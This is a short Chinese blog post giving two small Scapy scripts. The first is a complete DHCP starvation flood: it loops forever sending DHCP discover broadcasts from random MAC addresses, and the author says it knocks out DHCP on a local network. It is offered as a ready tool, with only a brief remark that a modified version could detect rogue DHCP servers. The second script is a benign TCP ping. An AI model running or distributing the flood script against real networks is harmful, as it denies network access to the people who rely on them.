用Scapy写的小应用(二)

#!/usr/bin/python
from scapy.all import *

conf.checkIPaddr = False
dhcp_discover =  Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff") \
         /IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67) \
         /BOOTP(chaddr=RandString(12,'0123456789abcdef')) \
         /DHCP(options=[("message-type","discover"),"end"])
sendp(dhcp_discover,loop=1)
  代码依然很简单,不过还是要用管理员权限才可以运行的,原理也很简单,就是在局域网里面一直发送DHCP discovery报文,这样可以使局域网内DHCP失效,还是很可怕的!不过,稍微修改一下!可以做成一个网管工具,可以找到非法的DHCP服务器!
#!/usr/bin/python
import sys
from scapy.all import *
p = sr1(IP(dst = sys.argv[1])/TCP())
if p:
    p.show()
  一个简单的TCP ping工具,对显示的结果没有做什么处理!

你可能感兴趣的:(用Scapy写的小应用(二))